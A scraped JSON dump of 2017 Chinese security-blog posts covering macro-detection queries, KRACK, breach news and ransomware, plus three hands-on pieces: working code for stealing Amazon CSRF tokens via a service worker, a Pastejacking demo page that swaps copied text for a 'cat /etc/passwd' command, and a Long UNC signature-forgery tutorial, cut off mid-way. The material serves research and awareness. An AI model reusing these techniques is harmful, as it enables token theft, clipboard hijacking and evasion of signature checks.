href=\"http://syspanda.com/index.php/2017/07/13/sysmon-detecting-outbound-connections-geoip-logstash/\">出站连接</a>。</p><p>现在我们就完全了解了这些事件的记录过程，可以对其操作进行进一步简化。</p><p><b>检测相关操作</b></p><p>如果你有良好的日志管理方式，如ELK，Splunk等，那你应该有一些预定义的保存的搜索，这将允许你在你的环境中寻找恶意目标。你可以通过以下的查询语句，来查找通过Word或其他微软产品启动的某些进程，如cscript.exe，cmd.exe，powershell.exe，wscript.exe。</p><code lang=\"text\">event_data.ParentImage: office AND (event_data.Image: (wscript.exe OR cscript.exe OR cmd.exe or powershell.exe))</code><p>查询结果如下。</p><p><br></p><img src=\"v2-a180096cbf6129905467c6997231b134.jpg\" data-caption=\"\" data-rawwidth=\"1284\" data-rawheight=\"482\"><p><br></p><p>另外，微软产品，如Word，Excel，PowerPoint等可能会调用其他可执行文件，比如，在rundll.32.exe文件中 ，通常你会捕捉到事件ID 1，它与outlook中的打印文档（File &gt; Print）或文件索引（“C:WindowsSystem32rundll32.exe” shell32.dll,Control_RunDLL “srchadmin.dll”）有关。除此之外，在conhost.exe,regsvr32.exe,Explorer.exe中都能捕获类似事件。</p><p>此外，还有一些查询语句非常有用，可以查找在outlook中的“.doc”文档。</p><p>比如，可以用以下语句查询事件ID 1</p><code lang=\"text\">event_data.ParentImage: outlook.exe AND event_data.CommandLine: “.doc”</code><p>可以用以下语句查询事件ID 15</p><code lang=\"text\">event_data.Image: outlook.exe AND event_data.TargetFilename: “.doc”</code><p>请注意：只有确保你检查了运行环境中的所有内容，才能识别出正常运和非正常的运行行为、查询语句，并最终确保你做出提前预防。</p><p><b>防止代宏的恶意文档</b></p><p>下面我给出5种方法，来让你免受此类威胁：</p><p>1.点开任何链接或附件时一定要仔细看清楚，并进行安全检测。</p><p>2.通过<a href=\"http://www.thewindowsclub.com/block-macro-malware-microsoft-office\">GPO</a>阻止Office 2016的宏运行。对于Office 2013，你可以通过<a href=\"https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6\">设置Office选项</a>，禁用所有具有通知或不通知的宏。</p><p>3.阻止有效载荷下载，通过应用层防火墙，你可以只让白名单的信任站点下载.exe文件。</p><p>4.监控所有端点日志。</p><p>5.主动了解任何与安全有关的资讯。</p><blockquote>本文翻译自：http://syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/ ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/tools/7968.html\">http://www.4hou.com/tools/7968.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T07:09:45.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":2,"state":"published","isLiked":false,"slug":"30160513","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T15:09:45+08:00","links":{"comments":"/api/posts/30160513/comments"},"url":"/p/30160513","titleImage":"","summary":"","href":"/api/posts/30160513","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":2},"30181977":{"title":"WPA2加密协议已被破解！你还敢用WiFi吗？","author":"hou-hou-4-12","content":"<p>在即将召开的计算机协会安全会议推出的一项宣传活动的推文中，已经证明WPA2认证已经失效了。WPA2认证是一个已经被广泛用于确保WiFi连接的安全协议。</p><p>有安全研究人员已经针对WPA2的破解做过充分的研究工作，除了之前披露的细节之外，还包括：ACM会议和通信安全（CCS）上发表的论文中描述的<a href=\"https://www.sigsac.org/ccs/CCS2017/agenda.html\">“密钥重装攻击”：强制在WPA2中进行临时重用</a>以及一个<a href=\"https://github.com/vanhoefm/krackattacks\">空白的GitHub仓库</a>和<a href=\"https://www.krackattacks.com/\">krackattacks.com</a>网站。</p><p>所以从上面的一些情况来看，KU的Kathy Leuven和imecDistriNet的Frank Piessens都确信，他们的确破解了WPA2，并发现了严重的漏洞（该漏洞影响到了已经验证修复过的WPA-TKIP，<a href=\"https://www.theregister.co.uk/2015/07/16/rc4_get_rid_of_it_already_say_boffins/\">恢复受RC4保护的cookies</a>，以及<a href=\"https://www.theregister.co.uk/2015/10/12/brucon_dongle_of_death/\">在2015年改进了TKIP攻击</a>的WPA2无线加密协议）。</p><p>据Iron Group 的CTO亚历克斯·哈德森（Alex Hudson）<a href=\"https://www.alexhudson.com/2017/10/15/wpa2-broken-krack-now/\">透露</a>，相关的安全研究人员将会在美国东部时间（EST）10月16日上午 8 点公布一些漏洞细节，详细信息可登陆 krackattacks.com 网站进行查看。</p><p>与此同时，发表在ACM的论文的标题就是一个暗示：Vanhoef和Piessens曾经攻击过客户端和基站之间的会话中用于选择加密密钥握手序列的WPA2。</p><p>正如哈德森所说，攻击者必须与受害者连接在同一个基站上，这样就限制了攻击的影响面。</p><p>今年八月份由Vanhoef和Piessens发布在Black Hat的这份<a href=\"https://www.blackhat.com/docs/webcast/08242017-securely-implementing-network2.pdf\">paper</a>[PDF]中也有一些暗示。下面的图片显示了客户端与基站之间会话的握手部分。</p><img src=\"v2-e9c758bba93b8f1ecbcee2563f3e167d.jpg\" data-caption=\"\" data-rawwidth=\"865\" data-rawheight=\"466\"><p>“Krack攻击”是攻击WiFi协议花费时间比较长的一个项目(WPA2 加密协议已经诞生了13年了)</p><p>更新：Krack Attack的CVE（通用漏洞披露）编号已被保留。 分别是CVE-2017-13077，CVE-2017-13078，CVE-2017-13079，CVE-2017-13080，CVE-2017-13081，CVE-2017-13082，CVE-2017-13084，CVE-2017-13086， CVE-2017-13087和CVE-2017-13088。</p><blockquote>本文翻译自：https://www.theregister.co.uk/2017/10/16/wpa2_inscure_krackattack/ ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8018.html\">http://www.4hou.com/info/news/8018.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-17T01:18:44.000Z","canComment":false,"commentPermission":"anyone","commentCount":16,"likeCount":48,"state":"published","isLiked":false,"slug":"30181977","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-17T09:18:44+08:00","links":{"comments":"/api/posts/30181977/comments"},"url":"/p/30181977","titleImage":"","summary":"","href":"/api/posts/30181977","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":16,"likesCount":48},"30188689":{"title":"给亚马逊挖洞=义务劳动？看白帽子怎么玩坏它","author":"hou-hou-4-12","content":"<h2><b>介绍</b></h2><p>众所周知，亚马逊是世界上最大的电子商务网站，拥有的员工数目超过34万。对于这么庞大的一个公司来说，网络环境的安全性至关重要，但是亚马逊却表示你为它提交漏洞是无偿的。这意味着你为他提交漏洞，使它的产品变得更加安全，但是你却得不到任何东西，就连一个简单的logo T恤也没有！</p><p>所以我不愿意在挖洞这件事上浪费太多的时间，而是把大部分精力放在了写完整PoC以及渗透测试报告上面。当然这次的漏洞不是一个理论方面的漏洞，的的确确是一个服务方面的漏洞。</p><p>我发现Amazon使用了同一个第三方程序(AnswerHub)，因为亚马逊给出的crossdomain.xml是非常多的，于是我有一个大胆的想法。如果我找到了能够上传SWF文件的Amazon子域名，那么我就可以从主域中盗取数据。不过有一点是他不允许上传任何flash内容。现在将讲述一下最有趣的部分，结束无聊的介绍吧～</p><h2><b>技术细节</b></h2><p>因为文章标题很吸引人，并且大多数人读这篇文章是想了解具体的技术，而不是听我讲故事吧。那么我就直接进入整体，讲讲一些技术问题吧。</p><p>一开始我使用google寻找一些使用AnserHub服务的大公司:</p><code lang=\"text\">inurl:/questions/ask.html inurl:https://</code><p>这样一搜索，我发现很多大公司都使用了这一第三方服务，其中包括亚马逊，随之，我想到了它网站的crossdomain.xml，于是我就进行了尝试。</p><p>这是亚马逊网站的crossdomain.xml：</p><img src=\"v2-b9245000413129c93a919c90f6095554.jpg\" data-caption=\"\" data-rawwidth=\"592\" data-rawheight=\"502\"><p>我的目标是gamedev.amazon.com，我可以上传XML文件，这一点可以触发存储型xss。但这并不是我的最终目的，于是我就尽我所能上传SWF文件，但是并没有奏效。 🙁</p><h2><b>进一步思考</b></h2><p>我并没有在SWF文件上传中得到任何进展，于是陷入了思考，在思考的过程中，我发现我已经可以执行存储型xss攻击。灵机一现，想到了一个很不错的电子，如果我上传SVG文件以及JS文件，进而触发这一个域中的Service Worker不就完美了。</p><p>让我给你解释一下什么是Service Worker API(GOOGLE Chrome):</p><code lang=\"text\">service worker是在你浏览器后台运行的脚本，它是和网页分开运行的，为不需要网页或者用户交互的功能打开了大门。目前，它已经包括了推送通知以及后台同步等功能。在未来service workers会支持周期性的执行任务等其他功能。本教程会讨论的核心功能是拦截和处理网络请求的能力，包括以编程方式管理相应缓存。\n这一API的产生让人感到非常兴奋，它可以允许你离线体验，并且让开发者完全控制浏览器体验。</code><p>你是不是什么都没读懂？巧了我也是，所以我会进一步解释这一东西。<br>如果你想更近一步了解Service Worker，我强烈推荐你阅读:https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API，OK，我们来了解一下攻击原理以及每个文件的代码吧：</p><p>1.AS代码：对amazon发送HTTPS请求，并且接受返回的页面代码，进而找到csrftoken。以下是我写的代码：</p><code lang=\"text\">import flash.external.*;\nimport flash.net.*;\n(function () {\n    var loader = new URLLoader(new URLRequest(\"https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/\"));\n    loader.addEventListener(\"complete\", loaderCompleted);\n    function loaderCompleted(event) {\n    ExternalInterface.call(\"alert\", event.target.data.slice(189270,189335));\n    }\n})();</code><p>我将这一文件部署在了我的网站上。它会在之后攻击中用到。我将它命名为myexp.as，随之我使用SDK将这一文件生成SWF版本的代码。我同样使用php脚本从AS代码中产生SWF文件。</p><p>2.下面的JS文件会在网站中被认为是一个SW文件。并且可以拦截流量，在此目录生成SWF文件。</p><code lang=\"text\">var url = \"https://ahussam.me/myexp.swf\"\nonfetch = (e) =&gt; {\n  e.respondWith(fetch(url);\n}</code><p>这一代码会在service worker当前路径安装SWF文件，这一文件会从主web站点盗取CSRFrokens。</p><p>因为每次上传文件名都会改变，第一次上传这一文件之后会得到一个新文件名。因为上传过程中客户端会验证我们的后缀名，于是我将它重命名sw.txt。当我上传上去之后这一文件被重新命名为4837-sw.txt.下图是HTTP请求包：</p><img src=\"v2-4f96e799f6e2d407fc6df2584c6052ef.jpg\" data-caption=\"\" data-rawwidth=\"1366\" data-rawheight=\"768\"><p>3-将使用xml和JS来检测Service Worker的SVG文件的html页面。下面是JS脚本:</p><code lang=\"text\">if ('serviceWorker' in navigator) {\n// 4837-sw.txt is the previous file. \nnavigator.serviceWorker.register('4837-sw.txt').then(_=&gt;location=1337); \n}</code><p>就像我上一步做的，修改文件后缀名，以及content-type。下方是http请求包内容:</p><img src=\"v2-17f321300b9a34210bc4b842ec407c75.jpg\" data-caption=\"\" data-rawwidth=\"1366\" data-rawheight=\"768\"><p>这是我使用的PoC:https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt</p><p>第一次攻击的时候，并没有成功(因为当前环境是http，而service worker只是在https中工作。如果当前环境并不是https，你可以对内容进行编码，进而执行函数)。但是之后经过一些调试就成功了。</p><img src=\"v2-5e42297a39f006c8b56094760ea5e42b.jpg\" data-caption=\"\" data-rawwidth=\"442\" data-rawheight=\"155\"><p>我将这一问题报告给了亚马逊的安全部门，不过因为我的报告太长，他们并没有重现这一漏洞，而且安全部门还删除了我的PoC，拒绝了我的报告。</p><p>经过了几个月的等待，他们并没有回复我的消息，我发现这bug已经修复，所以我写了一个很长的消息告诉他们，我真的很讨厌他们处理报告的态度。但是他们设置的是自动回复，真的很不尊重人！过了一段时间之后我收到一封邮件:</p><blockquote>Hi Abdullah,<br>对于未能及时回复您，我们感到非常抱歉，目前安全团队已经修复了这一问题。我代表他们向您发现这一漏洞表示感谢。<br>目前我们还没有漏洞奖励计划，但是我理解您希望能获得一些漏洞奖励以及回馈。我想我们会继续改进响应流程，采纳您的建议。<br>我们期待与您有更加深入的合作，保护AWS客户。<br>最好的祝福。<br>XXXXXXX XXX。<br>AWS Security <br>https://aws.amazon.com/security</blockquote><h2><b>结论</b></h2><p>我现在已经可以得到csrf token，所以我可以修改用户的电话号码，这可能导致用户的账户被盗取。不仅是CSRF，而且还会出现信息泄漏，Oauth批准，地址泄漏等等。</p><blockquote>本文翻译自：https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/，嘶吼翻译但并不代表认同其技术外观点。如若转载，请注明原文地址： <a href=\"http://www.4hou.com/web/7999.html\">http://www.4hou.com/web/7999.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou </blockquote>","updated":"2017-10-17T03:40:57.000Z","canComment":false,"commentPermission":"anyone","commentCount":2,"likeCount":13,"state":"published","isLiked":false,"slug":"30188689","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-17T11:40:57+08:00","links":{"comments":"/api/posts/30188689/comments"},"url":"/p/30188689","titleImage":"","summary":"","href":"/api/posts/30188689","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":2,"likesCount":13},"30189184":{"title":"专治复制粘贴癌症患者的Pastejacking","author":"hou-hou-4-12","content":"<p>在linux bash下进行操作时难免因为懒，直接从别人的技术文章中复制相关的命令在bash下直接执行，为了治愈这种懒癌，应运而生的一种技术Pastejacking。原理很简单，通过js代码覆盖某人的剪贴板中的内容达到欺骗眼睛的效果。操作流程如下：</p><img src=\"v2-673ce834f959178a5393d5e356666d32.jpg\" data-caption=\"\" data-rawwidth=\"481\" data-rawheight=\"438\"><p>访问指定网页，选择相关内容，右键复制文字echo \"not eval\"。结果在记事本中粘贴出来的却是echo \"not eval\" ncat /etc/passwdnecho \"eval\"。如果懒癌患者直接粘贴相关的文字命令在bash中执行，由于加入了换行符，使得命令“自动执行”，发现时已经无力回天了。</p><img src=\"v2-b592e46823c376382457f1cf8d7e67e8.jpg\" data-caption=\"\" data-rawwidth=\"706\" data-rawheight=\"387\"><img src=\"v2-38fc6999d4d8b8c64dfae7ad51e5e3ef.jpg\" data-caption=\"\" data-rawwidth=\"705\" data-rawheight=\"352\"><p>如果吧cat /etc/passwd可以替换为反弹shell或者下载木马的脚本，就能实现一些意想不到的效果了。</p><p>关键代码：</p><img src=\"v2-4aba3c92be9c9b55a3970c8d64d18f25.jpg\" data-caption=\"\" data-rawwidth=\"651\" data-rawheight=\"204\"><p>DOME:</p><code lang=\"text\">&lt;html&gt;\n    &lt;body&gt;\n        复制如下内容到bash命令行下执行.\n        &lt;/br&gt;\n        &lt;p&gt;echo \"not evil\"&lt;/p&gt;\n        &lt;script&gt;\n            function copyTextToClipboard(text) {\n              var textArea = document.createElement(\"textarea\");\n              textArea.style.position = 'fixed';\n              textArea.style.top = 0;\n              textArea.style.left = 0;\n              textArea.style.width = '2em';\n              textArea.style.height = '2em';\n              textArea.style.padding = 0;\n              // Clean up any borders.\n              textArea.style.border = 'none';\n              textArea.style.outline = 'none';\n              textArea.style.boxShadow = 'none';\n              // Avoid flash of white box if rendered for any reason.\n              textArea.style.background = 'transparent';\n              textArea.value = text;\n              document.body.appendChild(textArea);\n              textArea.select();\n              try {\n                var successful = document.execCommand('copy');\n                var msg = successful ? 'successful' : 'unsuccessful';\n                console.log('Copying text command was ' + msg);\n              } catch (err) {\n                console.log('Oops, unable to copy');\n              }\n              document.body.removeChild(textArea);\n            }\n            document.addEventListener('keydown', function(event) {\n                var ms = 800;  \n                var start = new Date().getTime();\n                var end = start;\n                while(end &lt; start + ms) {\n                    end = new Date().getTime();\n                } \n                copyTextToClipboard('echo \"not evil\" ncat /etc/passwdn echo \"evil\" ');\n            });\n        &lt;/script&gt;\n    &lt;/body&gt;\n&lt;/html&gt;</code><blockquote>本文为 echo 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑： <a href=\"http://www.4hou.com/web/8005.html\">http://www.4hou.com/web/8005.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote><p></p>","updated":"2017-10-17T03:42:23.000Z","canComment":false,"commentPermission":"anyone","commentCount":5,"likeCount":10,"state":"published","isLiked":false,"slug":"30189184","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-17T11:42:23+08:00","links":{"comments":"/api/posts/30189184/comments"},"url":"/p/30189184","titleImage":"","summary":"","href":"/api/posts/30189184","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":5,"likesCount":10},"30189265":{"title":"Facebook好友也不可信，分分钟会黑掉你","author":"hou-hou-4-12","content":"<blockquote>如果你的Facebook好友突然间给你发送了一条紧急求助信息，他忘记账号密码了，想请求你作为紧急联系人帮忙找回一下，这个时候你答应还是拒绝？</blockquote><img src=\"v2-cc76fa5a17013664f9da2376104e0598.jpg\" data-caption=\"\" data-rawwidth=\"1920\" data-rawheight=\"1080\"><p>如果你的Facebook好友突然间给你发送了一条紧急求助信息，他忘记账号密码了，想请求你作为紧急联系人帮忙找回一下，这个时候你答应还是拒绝？</p><p>安全专家告诉你，不要盲目信任，这个请求可能是新的钓鱼攻击。这种钓鱼攻击除了使用常规的技术手段以外，还利用了人的信任感，所以即使是技术娴熟的安全人员也很可能沦为受害者，一不小心就会帮助攻击者。</p><h2><b>攻击流程</b></h2><p>1.  攻击者入侵你好友的Facebook账户</p><p>2.  通过你好友的Facebook账户向你发送紧急帮助请求，以找回账号</p><p>3.  攻击者向你发送的看似是帮助朋友解锁账户的密钥，其实不是，而是会触发你账户的“忘记密码”功能，然后请求获取一个恢复代码</p><p>4.  然后你会很自觉的把这个代码发送给你的好友（已被黑客入侵）</p><p>5.  基于这个代码，黑客便能窃取你的账户信息</p><img src=\"v2-eb0ba6c3896f5aa53fdb739d9f78c707.jpg\" data-caption=\"\" data-rawwidth=\"633\" data-rawheight=\"1024\"><h2><b>助攻因素</b></h2><p>这种攻击的成功率之所以很高，是因为它利用了人与人之间的感情弱点，别说是好友，就连普通朋友之间收到这样的请求帮助也会毫不犹豫的答应。</p><blockquote>本文翻译自：https://thehackernews.com/2017/10/facebook-account-hacking-scam.html和http://securityaffairs.co/wordpress/64276/cyber-crime/facebook-scam-trusted-contacts.html，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8009.html\">http://www.4hou.com/info/news/8009.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-17T03:43:47.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":2,"state":"published","isLiked":false,"slug":"30189265","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-17T11:43:47+08:00","links":{"comments":"/api/posts/30189265/comments"},"url":"/p/30189265","titleImage":"","summary":"","href":"/api/posts/30189265","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":2},"30189313":{"title":"凯悦酒店再次泄露用户数据，中国区域酒店受伤最深","author":"hou-hou-4-12","content":"<blockquote><b>导语：</b>近日，凯悦酒店集团向其用户发了一封紧急通知，他们的信用卡数据已经惨遭黑客窃取，近两年内，这是第二起数据泄露事件。</blockquote><img src=\"v2-78a8879de46e970a496bd55e6e3ea5c9.jpg\" data-caption=\"\" data-rawwidth=\"500\" data-rawheight=\"327\"><p>近日，凯悦酒店集团向其用户发了一封紧急通知，他们的信用卡数据已经惨遭黑客窃取，近两年内，这是第二起数据泄露事件。</p><p><b>全球40几家酒店受影响，中国受伤最深</b></p><blockquote>3家位于美国<br>18家位于中国<br>4家位于墨西哥<br>3家位于波多黎各<br>3家位于沙特阿拉伯<br>3家位于韩国<br>巴西<br>哥伦比亚<br>关岛<br>印度<br>印度尼西亚<br>日本<br>马来西亚</blockquote><p>凯悦酒店向其用户发去的通知内容如下：</p><blockquote>我们知道保护客户信息至关重要，也应该维护好我们的系统，很遗憾的通知大家，在2017年3月18日至2017年7月2日期间，我们发现有人未授权访问了我们的信用卡支付信息，这些信息应该已经泄露。全球40几家区域酒店也深受影响。</blockquote><p>据凯悦酒店介绍，黑客是通过在酒店支付系统中植入恶意代码而窃取的客户信用卡数据，这些恶意代码允许黑客获取持卡人姓名、卡号、有效日期、内部验证码。但是凯悦酒店还不能识别出具体是哪位客户的信用卡信息惨遭泄露。</p><blockquote>本文翻译自：http://securityaffairs.co/wordpress/64268/data-breach/hyatt-hotels-card-breach.html，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8007.html\">http://www.4hou.com/info/news/8007.html</a> 更多内容请关注“嘶吼专业版”——Pro4hou </blockquote>","updated":"2017-10-17T03:44:38.000Z","canComment":false,"commentPermission":"anyone","commentCount":1,"likeCount":4,"state":"published","isLiked":false,"slug":"30189313","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-17T11:44:38+08:00","links":{"comments":"/api/posts/30189313/comments"},"url":"/p/30189313","titleImage":"","summary":"","href":"/api/posts/30189313","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":1,"likesCount":4},"30233563":{"title":"美国必胜客用户信用卡数据泄露，为何迟迟不肯披露？","author":"hou-hou-4-12","content":"<p>本月初，美国必胜客网站从（PizzaHut.com）遭到短暂的黑客入侵，顾客的信用卡信息和联系方式疑遭泄露。</p><p>众所周知，必胜客为一家全球性知名快餐连锁品牌，顾客量惊人，但不幸的是，黑客们也瞄上了这块大肥肉。2017年10月1日早晨至2日中午，大约有28小时的时间内，必胜客网站遭到了黑客的访问，并从中窃取了顾客敏感信息。</p><p>必胜客也终于在近日公开承认了这一消息，并向所有的顾客发去了通知邮件：</p><blockquote>近日，必胜客官网遭到黑客短暂入侵。在2017年10月1日早晨至2日中午访问我们网站或者移动软件的顾客信息可能已经泄露，订单信息已经被黑客查看。</blockquote><img src=\"v2-83f9bb633911d5c4c5dfd03efd6fc37d.jpg\" data-caption=\"\" data-rawwidth=\"707\" data-rawheight=\"600\"><p>在意识到被黑客入侵之后，必胜客迅速响应，并采取了相应的缓解措施。好在受影响的用户量不是很多，大约仅占总顾客量的1%。但其实1%的顾客量也是很惊人的，至少有60000万人受影响。</p><p>黑客从必胜客网站上窃取的信息包括：</p><code lang=\"text\">姓名\n账单邮编\n收货地址\n邮箱地址\n信用卡数据（包括卡号、有效日期、CVV码）</code><h2><b>顾客怒斥必胜客的响应速度</b></h2><p>必胜客官方是在事件发生后的两周才公开承认被黑客入侵，这一迟钝的反应惹怒了不少顾客。</p><p>一位名为Peter Yoachim (@PeterYoachim) 顾客就表示：</p><blockquote>谢谢您在事件发生后的两周通知我被黑了，我的信用卡信息已经被黑客拿去，说不定他们已经恶意使用了。</blockquote><p>另一位名为Dustin Falgout (@dustinfalgout) 顾客也表示：</p><blockquote>两周前你丢失了我的信用卡信息，一周后黑客已经在恶意使用了，然后，今天！我才得知这一事件！</blockquote><p>两周的时间说长不长，说短也不短，但对于黑客来说两周的时间已经非常充裕，足够完成很多恶意操作。对于顾客来说这个时间也是非常长的，长到他们完全摸不着头脑，然后信用卡就被盗刷了。</p><blockquote>本文翻译自：http://securityaffairs.co/wordpress/64361/data-breach/pizza-hut-card-breach.html ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8030.html\">http://www.4hou.com/info/news/8030.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-18T06:50:47.000Z","canComment":false,"commentPermission":"anyone","commentCount":2,"likeCount":2,"state":"published","isLiked":false,"slug":"30233563","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-18T14:50:47+08:00","links":{"comments":"/api/posts/30233563/comments"},"url":"/p/30233563","titleImage":"","summary":"","href":"/api/posts/30233563","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":2,"likesCount":2},"30233720":{"title":"新型勒索软件：不仅会加密文件，还能修改手机PIN码","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-157768c78f0f0f90773f4ef62e09d7b8.jpg\" data-caption=\"\" data-rawwidth=\"623\" data-rawheight=\"432\"><p>今天我们要介绍的是一种新型勒索软件，之所以说是新型，是因为它和以往的勒索软件有着非常明显的区别，不仅可以对手机中的数据进行加密，还可以更改手机上的锁屏密码。也就是说，受害者不仅查看不了数据，甚至连手机都打不开。</p><p>这一新型勒索软件名叫DoubleLocker，从其名字就可以看出，它会对设备进行两次上锁。这种勒索软件是由斯洛伐克安全公司ESET的安全研究员发现。</p><p>DoubleLocker是第一例会滥用安卓accessibility功能的勒索软件，Android accessibility是一种非常使用的辅助功能，可以帮助用户更好的体验智能手机的优势，但是现在却被大量的银行木马利用，用于窃取银行登录凭证（账号、密码等）。</p><p>ESET的安全研究员Lukáš Štefanko解释称：</p><blockquote>鉴于银行木马家族的强大，DoubleLocker很可能成为基于银行的勒索软件。DoubleLocker第一步是清除你的银行或者 PayPal 账户，第二步是更改手机密码、加密手机上的数据，最后就是勒索了。</blockquote><p>安全研究员是在今年5月份首次发现这种勒索软件，刚开始是以虚假 Adobe Flash 更新传播的。由于其功能的多样性，相信不久的将来，DoubleLocker会被用于网络银行欺诈。</p><h2><b>勒索原理</b></h2><p>一旦勒索软件安装成功，它会请求用户激活'Google Play Services'accessibility 功能。在获得accessibility权限之后，DoubleLocker便会利用它获取设备的管理员权限，然后将自己设置成系统默认的软件（a launcher）。</p><p>每次用户点击home键的时候都会激活勒索软件，设备就会被再次锁住。由于使用了accessibility功能，用户并不知道他们每次点击home键就会激活勒索软件。</p><p>一旦执行，DoubleLocker会立即将手机密码更改成一个随机值，然后再用AES加密算法对手机内的数据进行加密。DoubleLocker的勒索赎金是0.0130比特币（约合74.38美元），并且要求在24小时内支付。如果受害者支付了赎金，攻击者就会提供数据的解密密码，然后远程解锁手机。</p><img src=\"v2-60cf839c333681ed2d25b8286c546a94.jpg\" data-caption=\"\" data-rawwidth=\"576\" data-rawheight=\"1024\"><img src=\"v2-6eef51b90c6a64f87ae6224ee7434f5b.jpg\" data-caption=\"\" data-rawwidth=\"576\" data-rawheight=\"1024\"><h2><b>怎样保护自己呢？</b></h2><p>我们都知道，要解密被加密的文件几乎是不可能的事情，就连FBI也没有办法。</p><p>对于未root的手机，用户可以强制恢复成出厂设置，这样就能解锁手机，也能删除DoubleLocker。</p><p>对于root的手机，可以利用Android Debug Bridge (ADB) 工具重置手机密码。</p><blockquote>本文翻译自：https://thehackernews.com/2017/10/android-ransomware-pin.html ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8015.html\">http://www.4hou.com/info/news/8015.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-18T06:52:54.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":7,"state":"published","isLiked":false,"slug":"30233720","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-18T14:52:54+08:00","links":{"comments":"/api/posts/30233720/comments"},"url":"/p/30233720","titleImage":"","summary":"","href":"/api/posts/30233720","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":7},"30255849":{"title":"Catalog签名伪造——Long UNC文件名欺骗","author":"hou-hou-4-12","content":"<h2><b>0x00 前言</b></h2><p>在之前的两篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》和《Authenticode签名伪造——针对文件类型的签名伪造》介绍了Authenticode签名伪造的利用方法，这次将要介绍一个Catalog签名伪造的方法，利用Long UNC文件名欺骗系统，获得系统内置的Catalog签名</p><p><b>注：</b></p><p>本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料，本文将结合自己的经验，整理相关内容，添加个人理解。</p><p>参考资料：</p><p><a href=\"http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1\">http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1</a></p><h2><b>0x01 简介</b></h2><p>本文将要介绍以下内容：</p><p>· Long UNC基础知识</p><p>· Long UNC文件名欺骗的方法</p><p>· Long UNC文件名欺骗优缺点分析</p><h2><b>0x02 Long UNC介绍</b></h2><p><b>UNC（Universal Naming Convention）</b></p><p>通用命名规则，可用来表示Windows系统中文件的位置</p><p>详细介绍可参考如下链接：</p><p><a href=\"https://en.wikipedia.org/wiki/Path_(computing)\">https://en.wikipedia.org/wiki/Path_(computing)</a></p><p><b>Long UNC</b></p><p>正常UNC支持的最大长度为260字符</p><p>为了支持更长的字符，引入了Long UNC，支持最大长度为32767</p><p>格式举例： ?C:\\test\\a.exe</p><code lang=\"text\">type putty.exe &gt; \"?C:\\test\\longUNC.exe\"</code><p>如下图，使用Long UNC的文件同普通文件没有区别</p><img src=\"v2-b21af4f302b2edf4b807512d382818f0.jpg\" data-caption=\"\" data-rawwidth=\"740\" data-rawheight=\"469\"><p><b>特别用法：</b></p><p>如果在Long UNC文件名后面加一个空格，系统对文件名的判断将发生错误</p><code lang=\"text\">type putty.exe &gt; \"?C:\\test\\mimikatz.exe \"</code><p>如下图</p><img src=\"v2-c25d1f00cdbc8ddc344ab951b719a99c.jpg\" data-caption=\"\" data-rawwidth=\"855\" data-rawheight=\"559\"><p>将putty.exe重命名为\"?C:\\test\\mimikatz.exe \"，右键查看\"?C:\\test\\mimikatz.exe \"的文件属性</p><p>发现了奇怪的地方：<b>属性显示该文件为样本文件mimikatz.exe的属性</b></p><p>直观理解：特殊Long UNC的文件能够欺骗系统，将其识别为另一个文件</p><h2><b>0x03 Long UNC文件名欺骗的方法</b></h2><p>由上节测试，我们知道利用Long UNC能够复制文件属性</p><p>那么，如果复制的是系统文件，甚至是带有catalog签名的文件，是否能实现catalog的签名伪造？</p><p><b>测试1： 伪造calc.exe的catalog签名</b></p><p>测试系统： Win7 x86</p><p>使用sigcheck.exe查看calc.exe的catalog签名：</p><code lang=\"text\">sigcheck.exe -i c:\\windows\\system32\\calc.exe</code><p>如下图</p><img src=\"v2-1c1e4a1139ffe693090d1e3cd3d8f050.jpg\" 